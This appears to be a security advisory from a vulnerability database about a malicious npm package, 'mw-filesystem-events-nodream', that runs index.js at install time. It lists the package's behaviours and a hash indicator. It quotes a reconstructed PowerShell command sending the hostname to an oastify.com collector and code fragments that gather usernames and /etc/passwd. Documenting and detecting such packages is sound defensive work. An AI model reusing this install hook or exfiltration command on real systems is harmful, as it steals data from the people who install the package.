VDB
GCVE-110-OSM-2026-8183
GCVE-110-OSM-2026-8183
Advisory PublishedCVSS 9.6/10
Malicious package detected. Behaviors: data exfiltration, code execution, network activity, install-time execution.
ENTRY
index.js (install-hook: node index.js > /dev/null 2>&1; exit 0)
- Install Hook Executes Local JS File in package.json
- Postinstall Script in package.json
DESTINATION
- reconstructed: powershell -Command "Invoke-WebRequest -Uri http://1ikh1ub9ug8oc3qubaud2d6zrqxhl79w.oastify.com/mw-filesystem-events-nodream/$(hostname) -Method GET" (primary, reconstructed)
- custom-c2: 1ikh1ub9ug8oc3qubaud2d6zrqxhl79w.oastify.com (plaintext) in index.js
EXFIL
- Sensitive File Access in index.js: ""/etc/passwd""
- OAST/Interactsh Exfiltration in index.js: "oastify.com"
- System Information Exfiltration in index.js: "os.hostname() } }); req.write(payload); req.end(); } catch (e) { // HTTP fallbac..."
- HTTP Data Exfiltration in index.js: "os.hostname(), user: (os.userInfo() || {}).username }); const req = http.request"
- Data Encoding for Exfiltration in index.js: "Buffer.from(exfil).toString("base64")"
- Network Request in index.js: "https.request("
- System Information Collection in index.js: "os.userInfo()"
- Suspicious Domain in index.js: "oastify.com"
OBFUSCATION
- recovered 1 urls from decoded/deobfuscated content
ADDITIONAL FINDINGS
- Shell Command Execution in index.js: "require("child_process")"
- Platform Detection with Data Collection in index.js: "JSON.stringify({ package: PACKAGE_NAME, hostname: os.hostname(), user: (os"
- Suspicious URL Pattern in Template Literal in index.js: "powershell -Command "Invoke-WebRequest -Uri http://1ikh1ub9ug8oc3qubaud2d6zrqxhl..."
- Publisher Has Other Malicious Packages
- Publisher Shows Burner-Account Pattern
PAYLOAD FILES
index.js
INDICATORS (IOCs)
- payloadFileHash: bbdaad5870bd9f71bef8dda8470b939888ab2b96daf6fa9ab9fcd4b945cc42f3
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | mw-filesystem-events-nodream | all (affected) | — |
Aliases
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